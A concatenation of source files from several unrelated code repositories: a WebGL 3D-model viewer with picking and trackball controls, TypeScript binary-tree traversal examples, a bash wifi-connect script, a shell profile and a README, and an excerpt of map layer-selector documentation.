mesh.renderable.datasetRadius; var vector111 = SglVec3.one(); vector111 = SglMat3.mul3(SglMat4.to33(mesh.transform.matrix), vector111); vector111 = SglMat3.mul3(SglMat4.to33(instances[inst].transform.matrix), vector111); var scalefactor = SglVec3.length(vector111) / SglVec3.length([1,1,1]); this.sceneRadiusInv = 1.0 / (radius*scalefactor); break; } } } }, _destroyPickFramebuffer : function () { if (this.pickFramebuffer) { this.pickFramebuffer.destroy(); this.pickFramebuffer = null; } if (this.pickColorTexture) { this.pickColorTexture.destroy(); this.pickColorTexture = null; } if (this.pickDepthRenderbuffer) { this.pickDepthRenderbuffer.destroy(); this.pickDepthRenderbuffer = null; } }, _createPickFramebuffer : function (width, height) { if (this.pickFramebuffer && (this.pickFramebuffer.width == width) && (this.pickFramebuffer.height == height)) return; else this._destroyPickFramebuffer(); var gl = this.ui.gl; this.pickColorTexture = new SglTexture2D(gl, { internalFormat : gl.RGBA, width : width, height : height }); this.pickDepthRenderbuffer = new SglRenderbuffer(gl, { internalFormat : gl.DEPTH_COMPONENT16, width : width, height : height }); this.pickFramebuffer = new SglFramebuffer(gl, { color : this.pickColorTexture, depth : this.pickDepthRenderbuffer, autoViewport : true }); }, _setupDraw : function () { var gl = this.ui.gl; var width = this.ui.width; var height = this.ui.height; var xform = this.xform; gl.viewport(0, 0, width, height); // depending on FOV, we set projection params and camera pos accordingly var FOV = this._scene.space.cameraFOV; var nearP = this._scene.space.cameraNearFar[0]; var farP = this._scene.space.cameraNearFar[1]; xform.projection.loadIdentity(); xform.projection.perspective(sglDegToRad(FOV), width/height, nearP, farP); xform.view.loadIdentity(); xform.view.lookAt([0.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, 1.0, 0.0]); this.viewMatrix = xform.viewMatrix; xform.model.loadIdentity(); xform.model.multiply(this.trackball.matrix); // getting scale/center for scene this._setSceneCenterRadius(); // scale to unit box + recenter xform.model.scale([this.sceneRadiusInv, this.sceneRadiusInv, this.sceneRadiusInv]); xform.model.translate(SglVec3.neg(this.sceneCenter)); }, _ID2Color : function (ID) { var intID = ID | 0; var IDr = intID % 5; var IDg = ((intID-IDr) / 5) % 5; var IDb = ((((intID-IDr) / 5) - IDg) / 5) % 5; var colorID = [IDr * 0.2, IDg * 0.2, IDb * 0.2, 1.0]; return colorID; }, _Color2ID : function (color) { var IDr = (((color[0]+2)/255.0) / 0.2) | 0; var IDg = ((((color[1]+2)/255.0) / 0.2) * 5) | 0; var IDb = ((((color[2]+2)/255.0) / 0.2) * 25) | 0; var ID = (IDr + IDg + IDb) | 0; return ID; }, _onPlyLoaded : function (req,thatmesh,gl) { var plyData = req.buffer; var modelDescriptor = importPly(plyData); thatmesh.renderable = new SglModel(gl, modelDescriptor); thatmesh.renderable.boundingBox = modelDescriptor.extra.boundingBox; // center and radius var TMR = thatmesh.renderable; TMR.datasetCenter = [0.0, 0.0, 0.0]; TMR.datasetRadius = 1.0; TMR.datasetCenter[0] = (TMR.boundingBox.max[0] + TMR.boundingBox.min[0]) / 2.0; TMR.datasetCenter[1] = (TMR.boundingBox.max[1] + TMR.boundingBox.min[1]) / 2.0; TMR.datasetCenter[2] = (TMR.boundingBox.max[2] + TMR.boundingBox.min[2]) / 2.0; TMR.datasetRadius = Math.sqrt( Math.pow((TMR.boundingBox.max[0] - TMR.boundingBox.min[0]),2) + Math.pow((TMR.boundingBox.max[1] - TMR.boundingBox.min[1]),2) + Math.pow((TMR.boundingBox.max[2] - TMR.boundingBox.min[2]),2) ) / 2.0; this._onMeshReady(); }, //---------------------------------------------------------------------------------------- // DRAWING SCENE FUNCTIONS //---------------------------------------------------------------------------------------- _drawScene : function () { var gl = this.ui.gl; var width = this.ui.width; var height = this.ui.height; var xform = this.xform; var renderer = this.renderer; var CurrProgram = this.basicNXSProgram; var CurrTechnique = this.basicPLYTechnique; var CCProgram = this.colorShadedNXSProgram; var CCTechnique = this.colorShadedPLYtechnique; var meshes = this._scene.meshes; var instances = this._scene.modelInstances; var spots = this._scene.spots; var bkg = this._scene.background.color; // basic setup, matrices for projection & view this._setupDraw(); // clear buffer gl.clearColor(bkg[0], bkg[1], bkg[2], bkg[3]); gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT | gl.STENCIL_BUFFER_BIT); // draw solid geometries for (var inst in instances) { var instance = instances[inst]; var mesh = meshes[instance.mesh]; if (!mesh) continue; var renderable = mesh.renderable; if (!renderable) continue; if (!instance.visible) continue; // GLstate setup gl.enable(gl.DEPTH_TEST); xform.model.push(); // transform using mesh & instance matrices xform.model.multiply(instance.transform.matrix); xform.model.multiply(mesh.transform.matrix); var uniforms = { "uWorldViewProjectionMatrix" : xform.modelViewProjectionMatrix, "uViewSpaceNormalMatrix" : xform.viewSpaceNormalMatrix, "uViewSpaceLightDirection" : this._lightDirection }; if(mesh.isNexus) { if (!renderable.isReady) continue; var nexus = renderable; nexus.modelMatrix = xform.modelMatrix; nexus.viewMatrix = xform.viewMatrix; nexus.projectionMatrix = xform.projectionMatrix; nexus.viewport = [0, 0, width, height]; CurrProgram.bind(); CurrProgram.setUniforms(uniforms); nexus.begin(); nexus.render(); nexus.end(); CurrProgram.unbind(); } else { //drawing ply renderer.begin(); renderer.setTechnique(CurrTechnique); renderer.setDefaultGlobals(); renderer.setPrimitiveMode("FILL"); renderer.setGlobals(uniforms); renderer.setModel(renderable); renderer.renderModel(); renderer.end(); } // GLstate cleanup gl.disable(gl.DEPTH_TEST); xform.model.pop(); } // draw transparent spot geometries for (var spt in spots) { var spot = spots[spt]; var mesh = meshes[spot.mesh]; if (!mesh) continue; var renderable = mesh.renderable; if (!renderable) continue; if (!spot.visible) continue; // GLstate setup gl.enable(gl.DEPTH_TEST); gl.depthMask(false); gl.enable(gl.BLEND); gl.blendFunc(gl.SRC_ALPHA, gl.ONE); //gl.blendFunc(gl.ZERO, gl.SRC_COLOR); //gl.blendFunc(gl.ONE, gl.ONE); xform.model.push(); // transform using mesh & instance matrices xform.model.multiply(spot.transform.matrix); xform.model.multiply(mesh.transform.matrix); var uniforms = { "uWorldViewProjectionMatrix" : xform.modelViewProjectionMatrix, "uViewSpaceNormalMatrix" : xform.viewSpaceNormalMatrix, "uViewSpaceLightDirection" : this._lightDirection, "uColorID" : [spot.color[0], spot.color[1], spot.color[2], spot.alpha] }; if(mesh.isNexus) { if (!renderable.isReady) continue; var nexus = renderable; nexus.modelMatrix = xform.modelMatrix; nexus.viewMatrix = xform.viewMatrix; nexus.projectionMatrix = xform.projectionMatrix; nexus.viewport = [0, 0, width, height]; CCProgram.bind(); CurrProgram.setUniforms(uniforms); nexus.begin(); nexus.render(); nexus.end(); CCProgram.unbind(); } else { //drawing ply renderer.begin(); renderer.setTechnique(CCTechnique); renderer.setDefaultGlobals(); renderer.setPrimitiveMode("FILL"); renderer.setGlobals(uniforms); renderer.setModel(renderable); renderer.renderModel(); renderer.end(); } // GLstate cleanup gl.disable(gl.BLEND); gl.depthMask(true); gl.disable(gl.DEPTH_TEST); xform.model.pop(); } }, _drawScenePickingInstances : function () { var gl = this.ui.gl; var width = this.ui.width; var height = this.ui.height; var xform = this.xform; var renderer = this.renderer; var CurrProgram = this.colorCodedIDNXSProgram; var CurrTechnique = this.colorCodedIDPLYtechnique; var meshes = this._scene.meshes; var instances = this._scene.modelInstances; var pixel = new Uint8Array(4); // picking FB this._createPickFramebuffer(width, height); // basic setup, matrices for projection & view this._setupDraw(); // clear buffer this.pickFramebuffer.bind(); gl.clearColor(0.0, 0.0, 0.0, 0.0); gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT | gl.STENCIL_BUFFER_BIT); this.pickFramebuffer.unbind(); for (var inst in instances) { var instance = instances[inst]; var mesh = meshes[instance.mesh]; if (!mesh) continue; var renderable = mesh.renderable; if (!renderable) continue; if (!instance.visible) continue; // GLstate setup gl.enable(gl.DEPTH_TEST); // transform using mesh & instance matrices xform.model.push(); xform.model.multiply(instance.transform.matrix); xform.model.multiply(mesh.transform.matrix); var colorID = this._ID2Color(instance.ID); var uniforms = { "uWorldViewProjectionMatrix" : xform.modelViewProjectionMatrix, "uColorID" : colorID }; if(mesh.isNexus) { if (!renderable.isReady) continue; var nexus = renderable; nexus.modelMatrix = xform.modelMatrix; nexus.viewMatrix = xform.viewMatrix; nexus.projectionMatrix = xform.projectionMatrix; nexus.viewport = [0, 0, width, height]; this.pickFramebuffer.bind(); CurrProgram.bind(); CurrProgram.setUniforms(uniforms); nexus.begin(); nexus.render(); nexus.end(); CurrProgram.unbind(); this.pickFramebuffer.unbind(); } else { //drawing ply renderer.begin(); renderer.setFramebuffer(this.pickFramebuffer); renderer.setTechnique(CurrTechnique); renderer.setDefaultGlobals(); renderer.setPrimitiveMode("FILL"); renderer.setGlobals(uniforms); renderer.setModel(renderable); renderer.renderModel(); renderer.end(); } // GLstate cleanup gl.disable(gl.DEPTH_TEST); // undo transform xform.model.pop(); } this.pickFramebuffer.readPixels(pixel, { x : this._pickpoint[0], y : this._pickpoint[1], width : 1, height : 1, format : gl.RGBA, type : gl.UNSIGNED_BYTE }); return pixel; }, _drawScenePickingSpots : function () { var gl = this.ui.gl; var width = this.ui.width; var height = this.ui.height; var xform = this.xform; var renderer = this.renderer; var CurrProgram = this.colorCodedIDNXSProgram; var CurrTechnique = this.colorCodedIDPLYtechnique; var meshes = this._scene.meshes; var spots = this._scene.spots; var instances = this._scene.modelInstances; var pixel = new Uint8Array(4); // picking FB this._createPickFramebuffer(width, height); // basic setup, matrices for projection & view this._setupDraw(); // clear buffer this.pickFramebuffer.bind(); gl.clearColor(0.0, 0.0, 0.0, 0.0); gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT | gl.STENCIL_BUFFER_BIT); this.pickFramebuffer.unbind(); // first pass, draw invisible instances, for occlusion for (var inst in instances) { var instance = instances[inst]; var mesh = meshes[instance.mesh]; if (!mesh) continue; var renderable = mesh.renderable; if (!renderable) continue; if (!instance.visible) continue; // GLstate setup gl.enable(gl.DEPTH_TEST); // transform using mesh & instance matrices xform.model.push(); xform.model.multiply(instance.transform.matrix); xform.model.multiply(mesh.transform.matrix); var uniforms = { "uWorldViewProjectionMatrix" : xform.modelViewProjectionMatrix, "uColorID" : [0.0, 0.0, 0.0, 0.0] }; if(mesh.isNexus) { if (!renderable.isReady) continue; var nexus = renderable; nexus.modelMatrix = xform.modelMatrix; nexus.viewMatrix = xform.viewMatrix; nexus.projectionMatrix = xform.projectionMatrix; nexus.viewport = [0, 0, width, height]; this.pickFramebuffer.bind(); CurrProgram.bind(); CurrProgram.setUniforms(uniforms); nexus.begin(); nexus.render(); nexus.end(); CurrProgram.unbind(); this.pickFramebuffer.unbind(); } else { //drawing ply renderer.begin(); renderer.setFramebuffer(this.pickFramebuffer); renderer.setTechnique(CurrTechnique); renderer.setDefaultGlobals(); renderer.setPrimitiveMode("FILL"); renderer.setGlobals(uniforms); renderer.setModel(renderable); renderer.renderModel(); renderer.end(); } // GLstate cleanup gl.disable(gl.DEPTH_TEST); // undo transform xform.model.pop(); } // second pass, draw color coded spots, for picking for (var spt in spots) { var spot = spots[spt]; var mesh = meshes[spot.mesh]; if (!mesh) continue; var renderable = mesh.renderable; if (!renderable) continue; if (!spot.visible) continue; // GLstate setup gl.enable(gl.DEPTH_TEST); // transform using mesh & instance matrices xform.model.push(); xform.model.multiply(spot.transform.matrix); xform.model.multiply(mesh.transform.matrix); var colorID = this._ID2Color(spot.ID); var uniforms = { "uWorldViewProjectionMatrix" : xform.modelViewProjectionMatrix, "uColorID" : colorID }; if(mesh.isNexus) { if (!renderable.isReady) continue; var nexus = renderable; nexus.modelMatrix = xform.modelMatrix; nexus.viewMatrix = xform.viewMatrix; nexus.projectionMatrix = xform.projectionMatrix; nexus.viewport = [0, 0, width, height]; this.pickFramebuffer.bind(); CurrProgram.bind(); CurrProgram.setUniforms(uniforms); nexus.begin(); nexus.render(); nexus.end(); CurrProgram.unbind(); this.pickFramebuffer.unbind(); } else { //drawing ply renderer.begin(); renderer.setFramebuffer(this.pickFramebuffer); renderer.setTechnique(CurrTechnique); renderer.setDefaultGlobals(); renderer.setPrimitiveMode("FILL"); renderer.setGlobals(uniforms); renderer.setModel(renderable); renderer.renderModel(); renderer.end(); } // GLstate cleanup gl.disable(gl.DEPTH_TEST); // undo transform xform.model.pop(); } this.pickFramebuffer.readPixels(pixel, { x : this._pickpoint[0], y : this._pickpoint[1], width : 1, height : 1, format : gl.RGBA, type : gl.UNSIGNED_BYTE }); return pixel; }, _drawNull : function () { var gl = this.ui.gl; gl.clearColor(0.0, 0.0, 0.0, 0.0); gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT | gl.STENCIL_BUFFER_BIT); }, //---------------------------------------------------------------------------------------- // EVENTS HANDLERS //---------------------------------------------------------------------------------------- onInitialize : function () { var gl = this.ui.gl; gl.clearColor(0.5, 0.5, 0.5, 1.0); var xform = new SglTransformationStack(); var renderer = new SglModelRenderer(gl); var viewMatrix = SglMat4.identity(); // shaders this.basicNXSProgram = this._createStandardNXSProgram(); this.colorCodedIDNXSProgram = this._createColorCodedIDNXSProgram(); this.basicPLYTechnique = this._createStandardPLYtechnique(); this.colorCodedIDPLYtechnique = this._createColorCodedIDPLYtechnique(); this.colorShadedNXSProgram = this._createColorShadedNXSProgram(); this.colorShadedPLYtechnique = this._createColorShadedPLYtechnique(); // scene rendering support data this.renderer = renderer; this.xform = xform; this.viewMatrix = viewMatrix; this.sceneCenter = [0.0, 0.0, 0.0]; this.sceneRadiusInv = 1.0; this.ui.animateRate = 0; this.diff = 0.0; this.x = 0.0; this.y = 0.0; this.dstartx = 0.0; this.dstarty = 0.0; this.dendx = 0.0; this.dendy = 0.0; this.ax1 = 0.0; this.ay1 = 0.0; // scene others support data this._scene = null; this._sceneParsed = false; this._objectsToLoad = 0; this._targetInstanceName = "null"; this._targetHotSpotName = "null"; this._instancesProgressiveID = 1; this._spotsProgressiveID = 1; this._animating = false; this._movingLight = false; this._clickable = false; this._onHover = false; this._onPickedInstance = 0; this._onPickedSpot = 0; this._onEnterInstance = 0; this._onEnterSpot = 0; this._onLeaveInstance = 0; this._onLeaveSpot = 0; this._lastCursor = "default"; this._pickedInstance = "null"; this._pickedSpot = "null"; this._lastPickedInstance = "null"; this._lastPickedSpot = "null"; this._lastInstanceID = 0; this._lastSpotID = 0; this._pickpoint = [10, 10]; }, onDrag : function (button, x, y, e) { var ui = this.ui; this.ax1 = (x / (ui.width - 1)) * 2.0 - 1.0; this.ay1 = (y / (ui.height - 1)) * 2.0 - 1.0; if(this._movingLight && ui.isMouseButtonDown(0)) { this.rotateLight(this.ax1/2, this.ay1/2); return; } if(this.dstartx == ui.dragStartX(button)){ this.diff = ui.dragEndX(button)- this.dendx; if(ui.dragDeltaX(button) != 0) this.x += (this.diff/500); } if(this.dstarty == ui.dragStartY(button)){ this.diff = ui.dragEndY(button)- this.dendy; if(ui.dragDeltaY(button) != 0) this.y += (this.diff/500); } var action = SGL_TRACKBALL_NO_ACTION; if ((ui.isMouseButtonDown(0) && ui.isKeyDown(17)) || ui.isMouseButtonDown(1)) { action = SGL_TRACKBALL_PAN; } else if (ui.isMouseButtonDown(0)) { action = SGL_TRACKBALL_ROTATE; } this.trackball.action = action; this.trackball.track(this.viewMatrix, this.x, this.y, 0.0); ui.postDrawEvent(); this.dstartx = ui.dragStartX(button); this.dstarty = ui.dragStartY(button); this.dendx = ui.dragEndX(button); this.dendy = ui.dragEndY(button); }, onMouseMove : function (x, y, e) { if(e.target.id!=this.ui.gl.canvas.id) return; if(this._onHover && !this.ui.isDragging(0) && !this.isAnimate()) this._pickingRefresh(x, y); }, onMouseOut : function (x, y) { if(this._onHover && !this.ui.isDragging(0)) this._pickingRefresh(); }, onMouseButtonDown : function (button, x, y, e) { this._clickable = true; }, onMouseButtonUp : function (button, x, y, e) { if(this._clickable && !this.ui.isDragging(0) && button==0) { this._pickingRefresh(x, y); if(this._onPickedSpot && this._pickedSpot!="null") this._onPickedSpot(this._pickedSpot); if(this._onPickedInstance && this._pickedInstance!="null") this._onPickedInstance(this._pickedInstance); } this._clickable = false; }, onKeyPress : function (key, evt) { if(this._isDebugging) // DEBUGGING-AUTHORING keys { if((evt.charCode == '80') || (evt.charCode == '112')) // print trackball console.log(this.trackball.getState()); if (evt.charCode == '49'){ // show nexus patches Nexus.Debug.flags[1]=!Nexus.Debug.flags[1]; this.ui.postDrawEvent(); } } }, onMouseWheel: function (wheelDelta, x, y, e) { var ui = this.ui; var action = SGL_TRACKBALL_SCALE; var factor = wheelDelta < 0.0 ? (0.90) : (1.10); this.trackball.action = action; this.trackball.track(this.viewMatrix, 0.0, 0.0, factor); this.trackball.action = SGL_TRACKBALL_NO_ACTION; ui.postDrawEvent(); // if(this._onHover && !this.ui.isDragging(0)) this._pickingRefresh(x,y); }, onAnimate : function (dt) { if (this._isSceneReady()) { // animate trackball if(this.trackball.tick(dt)) { this.ui.postDrawEvent(); } else { this.ui.animateRate = 0; if(this._onHover && !this.ui.isDragging(0)) this._pickingRefresh(this.ui.cursorX, this.ui.cursorY); } } }, onDraw : function () { if (this._isSceneReady()) this._drawScene(); else this._drawNull(); }, //---------------------------------------------------------------------------------------- // EXPOSED FUNCTIONS //---------------------------------------------------------------------------------------- supportsWebGL : function() { return this._supportsWebGL; }, toggleDebugMode : function () { this._isDebugging = !this._isDebugging; }, setScene : function (options) { if (!options) return; var scene = this._parseScene(options); if (!scene) return; this._scene = scene; this._objectsToLoad = 0; for (var m in scene.meshes) { var mesh = scene.meshes[m]; if (mesh.url) { this._objectsToLoad++; } } for (var t in scene.texturedQuads) { var tex = scene.texturedQuads[t]; if (tex.url) { this._objectsToLoad++; } } if (scene.background.image) { this._objectsToLoad++; } // creating the desired trackball var trackball = new this._scene.trackball.type(); trackball.setup(this._scene.trackball.trackOptions); this.trackball = trackball; var that = this; var gl = this.ui.gl; for (var m in scene.meshes) { var mesh = scene.meshes[m]; if (!mesh.url) continue; if(String(mesh.url).lastIndexOf(".nxs") == (String(mesh.url).length - 4)) { var nexus = new Nexus.Renderer(gl); mesh.renderable = nexus; mesh.isNexus = true; nexus.targetError = 5.0; nexus.onSceneReady = function () { that._onMeshReady(); }; nexus.onUpdate = this.ui.postDrawEvent; nexus.open(mesh.url); } else { mesh.renderable = null; mesh.isNexus = false; sglRequestBinary(mesh.url, { onSuccess : (function(m){ return function (req) { that._onPlyLoaded(req,m,gl); }; })(mesh) }); } } for (var t in scene.texturedQuads) { var tex = scene.texturedQuads[t]; if (!tex.url) continue; scene.background.texture = new SglTexture2D(gl, { internalFormat : gl.RGBA, format : gl.RGBA, type : gl.UNSIGNED_BYTE, generateMipmap : true, onSuccess : function () { that._onTextureReady(); }, url : tex.url }); } if (scene.background.image) { scene.background.texture = new SglTexture2D(gl, { internalFormat : gl.RGBA, format : gl.RGBA, type : gl.UNSIGNED_BYTE, generateMipmap : true, onSuccess : function () { that._onBackgroundReady(); }, url : scene.background.image }); } this._testReady(); this._sceneParsed = true; }, resetTrackball : function () { this.trackball.reset(); this.trackball.track(SglMat4.identity(), 0.0, 0.0, 0.0); this._lightDirection = [0, 0, -1]; // also reset lighting this.ui.postDrawEvent(); }, getTrackballPosition : function () { return this.trackball.getState(); }, setTrackballPosition : function (newposition) { this.trackball.setState(newposition); this.ui.postDrawEvent(); }, animateToTrackballPosition : function (newposition) { this.ui.animateRate = 30; this.trackball.animateToState(newposition); this.ui.postDrawEvent(); }, isAnimate : function () { if(this.ui.animateRate > 0) this._animating = true; else this._animating = false; return this._animating; }, setInstanceVisibility : function (tag, state, redraw) { var ui = this.ui; var instances = this._scene.modelInstances; for (var inst in instances) { if(tag == HOP_ALL) { instances[inst].visible = state; } else { for (var tg in instances[inst].tags){ if(instances[inst].tags[tg] == tag) instances[inst].visible = state; } } } if(redraw) ui.postDrawEvent(); }, toggleInstanceVisibility : function (tag, redraw) { var ui = this.ui; var instances = this._scene.modelInstances; for (var inst in instances) { if(tag == HOP_ALL) { instances[inst].visible = !instances[inst].visible; } else { for (var tg in instances[inst].tags){ if(instances[inst].tags[tg] == tag) instances[inst].visible = !instances[inst].visible; } } } if(redraw) ui.postDrawEvent(); }, isInstanceVisibilityEnabled : function (tag) { var visibility = false; var instances = this._scene.modelInstances; for (var inst in instances) { if(!tag || tag==HOP_ALL){ if(instances[inst].visible){ visibility = true; return visibility; } } else{ for (var tg in instances[inst].tags){ if(instances[inst].tags[tg] == tag){ if(instances[inst].visible){ visibility = true; return visibility; } } } } } return visibility; }, setSpotVisibility : function (tag, state, redraw) { var ui = this.ui; var spots = this._scene.spots; for (var spt in spots) { if(tag == HOP_ALL) { spots[spt].visible = state; } else { for (var tg in spots[spt].tags){ if(spots[spt].tags[tg] == tag) spots[spt].visible = state; } } } if(redraw) ui.postDrawEvent(); }, toggleSpotVisibility : function (tag, redraw) { var ui = this.ui; var spots = this._scene.spots; for (var spt in spots) { if(tag == HOP_ALL) { spots[spt].visible = !spots[spt].visible; } else { for (var tg in spots[spt].tags){ if(spots[spt].tags[tg] == tag) spots[spt].visible = !spots[spt].visible; } } } if(redraw) ui.postDrawEvent(); }, isSpotVisibilityEnabled : function (tag) { var visibility = false; var spots = this._scene.spots; for (var spt in spots) { if(!tag || tag==HOP_ALL){ if(spots[spt].visible){ visibility = true; return visibility; } } else{ for (var tg in spots[spt].tags){ if(spots[spt].tags[tg] == tag){ if(spots[spt].visible){ visibility = true; return visibility; } } } } } return visibility; }, zoomIn: function() { this.onMouseWheel(-1); }, zoomOut: function() { this.onMouseWheel(1); }, rotateLight: function(x, y) { x *= 2; y *= 2; var r = Math.sqrt(x*x + y*y); if(r >= 1) { x /= r; y /= r; r = 0.999; } var z = Math.sqrt(1 - r*r); this._lightDirection = [-x, -y, -z]; this.ui.postDrawEvent(); }, enableLightTrackball: function(on) { this._movingLight = on; }, isLightTrackballEnabled: function() { return this._movingLight; }, enableOnHover: function(on) { this._onHover = on; }, isOnHoverEnabled: function() { return this._onHover; } };
ffc9cfafff4674818fdca482d43baf41f529c676
[ "JavaScript", "PHP" ]
2
PHP
neilgevaux/star-carr
0602eee1dbd2be41edad9805e19c3dfbdf408083
662d5297c520dcb09457d69f7cfa90f26688317a
refs/heads/master
<file_sep>#!/bin/bash # dependencies coreutils, networkmanager, rofi, xdotools, zenity function gen_networks() { mapfile -t networks < <(nmcli -t -f SSID dev wifi list) printf -- '%s\n' "${networks[@]}" } if [[ -z "$@" ]]; then gen_networks else nmcli dev wifi connect "$@" password "$(zenity --password)" > /dev/null 2>&1 | xdotool type --clearmodifiers --file - >/dev/null 2>&1 & fi <file_sep># # ~/.profile # case $SHELL in bash) if [ -f ~/.bashrc ]; then . ~/.bashrc fi ;; zsh) if [ -f ~/.zshrc ]; then . ~/.zshrc fi ;; esac if [ -d ~/.bin ]; then PATH=~/.bin:$PATH fi if [ -z "$DISPLAY" ] && [ "$XDG_VTNR" -eq 1 ]; then exec startx fi
b7ce6082f00e7f33ffb29e110f6598c73ef8b19a
[ "Shell" ]
2
Shell
kekler/dotfiles
7c5681339aef502d69f26e60c1a4ae5ab6809851
217c10f106f4158808cd0e7ab2bc7a4cb7bc034b
refs/heads/master
<repo_name>uvegesi/progmatic-labyrinth<file_sep>/src/main/java/com/progmatic/labyrinthproject/LabyrinthImpl.java package com.progmatic.labyrinthproject; import com.progmatic.labyrinthproject.interfaces.Labyrinth; import java.io.File; import java.io.FileNotFoundException; import java.util.Scanner; /** * * @author pappgergely */ public class LabyrinthImpl implements Labyrinth { public LabyrinthImpl() { } @Override public void loadLabyrinthFile(String fileName) { try { Scanner sc = new Scanner(new File(fileName)); int width = Integer.parseInt(sc.nextLine()); int height = Integer.parseInt(sc.nextLine()); for (int hh = 0; hh < height; hh++) { String line = sc.nextLine(); for (int ww = 0; ww < width; ww++) { switch (line.charAt(ww)) { case 'W': break; case 'E': break; case 'S': break; } } } } catch (FileNotFoundException | NumberFormatException ex) { System.out.println(ex.toString()); } } }
3d579b4ef53f3427960364b39572f4e0dc2c87fa
[ "Java" ]
1
Java
uvegesi/progmatic-labyrinth
bbf6439e985bf759ed1968ede2e4fb245c83fd59
ed9f84743b1e9ea409ce25e9d37a1af0a0b3453b
refs/heads/master
<file_sep>import { IBTNode } from './node'; import utils from './utils'; /******************************************************* * Implementation of a depth-first binary tree traversal *******************************************************/ /** * Traverse the binary tree all the while * printing each node's value */ export function traverse(root: IBTNode, verbose: boolean = false): Array<any> { utils.narrate(verbose, '--- depth-first search ---'); return visitNode(root, 1, [], verbose); } /** * Inspects current node and keeps travesing down */ function visitNode(root: IBTNode, level: number, output: Array<any>, verbose: boolean = false): Array<any> { if (!root) { return output; } utils.narrate(verbose, root.value); output.push(root.value); utils.narrate(verbose, `level ${level} | going down left`); output = visitNode(root.left, level + 1, output, verbose); utils.narrate(verbose, `level ${level} | going down right`); output = visitNode(root.right, level + 1, output, verbose); return output; } export default { traverse }<file_sep>export function narrate(verbose: boolean, message: string) { if (verbose) { console.log(message); } } export default { narrate }<file_sep>/** * Binary tree node interface definition */ export interface IBTNode{ value: any; left: IBTNode; right: IBTNode; } /** * Binary tree node class definition */ export class BTNode implements IBTNode{ value: any; left: IBTNode; right: IBTNode; constructor(value: any = 0) { this.value = value; } }<file_sep>import { BTNode } from './node'; import bfs from './breadth-first-search'; import dfs from './depth-first-search'; const node = new BTNode(1); node.left = new BTNode(2); node.right= new BTNode(3); node.left.left= new BTNode(4); node.left.right= new BTNode(5); node.right.left= new BTNode(6); node.right.right= new BTNode(7); node.left.left.left = new BTNode(8); node.left.left.right = new BTNode(9); console.log('--- breadth-first search ---'); console.log(bfs.traverse(node, false).join(' ')); console.log('--- depth-first search ---'); console.log(dfs.traverse(node, false).join(' ')); <file_sep>import { IBTNode } from './node'; import utils from './utils'; /********************************************************** * Implementation of a breadth-first binary tree traversal * http://www.geeksforgeeks.org/level-order-tree-traversal/ **********************************************************/ /** * Traverse the binary tree all the while * printing each node's value */ export function traverse(root: IBTNode, verbose: boolean = false): Array<any> { utils.narrate(verbose, '--- breadth-first search ---'); let output = []; const h = height(root); utils.narrate(verbose, `tree height is: ${h}`); for (let i = 1; i <= h; i++) { output = visitNode(root, i, output, verbose); } return output; } /** * Inspects current node and keeps travesing left-to-right top-to-bottom */ function visitNode(root: IBTNode, level: number, output: Array<any>, verbose: boolean = false): Array<any> { if (!root) { return output; } if (level === 1) { utils.narrate(verbose, root.value); output.push(root.value); } else if (level > 1) { utils.narrate(verbose, `level: ${level} | going down left`); output = visitNode(root.left, level - 1, output, verbose); utils.narrate(verbose, `level: ${level} | going down right`); output = visitNode(root.right, level - 1, output, verbose); } return output; } /** * Compute the "height" of a tree -- the number of * nodes along the longest path from the root node * down to the farthest leaf node. */ function height(node: IBTNode): number { if (!node) { return 0; } else { /* compute the height of each subtree */ const lheight = height(node.left); const rheight = height(node.right); /* use the larger one */ if (lheight > rheight) { return lheight + 1; } return rheight + 1; } } export default { traverse }<file_sep># JS Tree Traversal Some tree traversal exercises implemented in TypeScript + Breadth-first search (adapted from [this](http://www.geeksforgeeks.org/level-order-tree-traversal)) + Depth-first search
902c81bd6a4869145d02c3d9a8645cba7b1cc787
[ "Markdown", "TypeScript" ]
6
TypeScript
pchiwan/js-tree-traversal
7af6ff0dcdc6e8530722417fbfe9086569a1dd45
8c9ce654c46cb7fd6766b373527daca22987f050
refs/heads/master
<repo_name>agrc/layer-selector<file_sep>/docs/LayerSelectorItem.md <!-- Generated by documentation.js. Update this documentation by updating the source code. --> ## layerFactory [LayerSelectorItem.js:1-143](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelectorItem.js#L1-L143 "Source code on GitHub") The info about a layer needed to create it and show it on a map and in the layer selector successfully. Type: [object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object) **Properties** - `Factory` **[function](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/function)** the constructor function for creating a layer. - `url` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** The url to the map service. - `id` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** The id of the layer. This is shown in the LayerSelectorItem. - `tileInfo` **[object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object)** The `esri/TileInfo` object if the layer has custom levels. - `linked` **[Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)>** The id of overlays to automatically enable when selected. ## LayerSelectorItem [LayerSelectorItem.js:116-124](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelectorItem.js#L116-L124 "Source code on GitHub") The UI element wrapping a radio or checkbox and label representing a `esri/layer/Layer` that can be turned on and off in a map. **Parameters** - `node` **([HTMLElement](https://developer.mozilla.org/docs/Web/HTML/Element) \| [string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String))?** The domNode or string id of a domNode to create this widget on. If null a new div will be created but not placed in the dom. You will need to place it programmatically. - `params` **[object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object)** - `params.layerFactory` **[layerFactory](#layerfactory)** The Factory object representing a layer. - `params.inputType` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)?** `radio` or `checkbox` depending on the type of input. (optional, default `radio`) ### selected 